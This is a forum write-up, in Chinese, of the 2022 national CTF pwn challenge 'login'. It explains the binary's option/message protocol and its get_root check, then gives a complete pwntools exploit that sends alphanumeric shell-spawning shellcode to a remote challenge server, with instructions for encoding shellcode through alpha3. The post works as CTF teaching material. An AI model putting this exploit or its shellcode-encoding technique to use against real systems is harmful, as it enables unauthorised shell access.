首页
社区
课程
招聘
[原创]【ctf2022国赛】login
2022-5-30 10:14 12686

[原创]【ctf2022国赛】login

2022-5-30 10:14
12686

保护

img

ida

main

img

 

发现就一个init和vuln,然后vuln能够反复执行一个,并且每次执行前都传入一个字符串,然后操作是基于这个字符串的

vuln

img

 

发现里面有一个循环,循环什么呢?

 

img

 

检测了一下opt和msg,稍加思考是option和messege两个英文的缩写,也就是选择和信息。

 

先看option:

 

img

 

发现option那里atoi的v7就是这里的选择,那message呢?

 

img

 

红色箭头处有一个把消息复制到一个名为dest的堆块中,而后面的switch是对这个dest进行操作的

 

那么我们就可以知道了,option是选择后面的switch,message是指定switch的操作的参数(当然while里卖面内部的细节还规定了写option和message的格式,这里不赘述,下贴一下具体格式):

1
2
3
4
option:num
message:string
 
pd='optin:num\nmessage:string\n.....'+'\n\n' ##这个是python脚本的写法,最后俩'\n'是为了停下while循环)

switch

img

 

看到exec,就很高兴了,因为有一个传shellcode的接口

 

但是别高兴太早,有俩个约束:

 

(1)方框处要求shellcode必须使用可打印字符

 

(2)箭头处有个暂时不知道是啥的全局变量必须为1的要求

 

对于(1),我们使用github上下载的一个叫alpha3的轮子,它能够将shelllcraft转为可视化字符(具体用法贴文末)

 

对于(2)我们细看get_root函数

 

img

 

这个函数的功能就是把满足exec中的(2),那么我们只需要option:1\nmessage:ro0t\n\n就行了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
 
def z(r):
    gdb.attach(r)
 
def exp():
    ##r=process('./login')
    r=remote('101.201.144.12',41700)
    pd='opt:1\nmsg:ro0t"\n\n\n'
    ##z(r)
    r.sendafter(">>> ",pd)
    shellcode='Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00'
 
    pd='opt:2\nmsg:'+ shellcode+'"'+'\n\n\n\n'
    ##z(r)
    r.sendafter(">>> ",pd)
    r.interactive()
 
 
if __name__=='__main__':
    exp()

alpha3用法

alpha3能够把我们的asm字符转换为全是可打印字符,在pwn题中的作用就是来搞isprintf()约束下的shellcode

下载

1
git clone https://github.com/TaQini/alpha3.git

整合脚本

1
2
3
4
5
# sc.py
from pwn import *
context.arch='amd64'
shellcode = shellcraft.sh()
print asm(shellcode)

使用定向输出到文本

1
python sc.py > sc

使用alpha3

1
python ./alpha3/ALPHA3.py x64 ascii mixedcase rdx --input="sc"

img

 

注意这里的寄存器是因题而异的,比如这道题

 

img

 

是call rdx那就是rdx

参考博客

【CTF题解-0x03】moeCTF2020-partial official write up by arttnba3 | arttnba3's blog


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2022-6-4 14:15 被Nameless_a编辑 ,原因:
上传的附件:
收藏
点赞4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回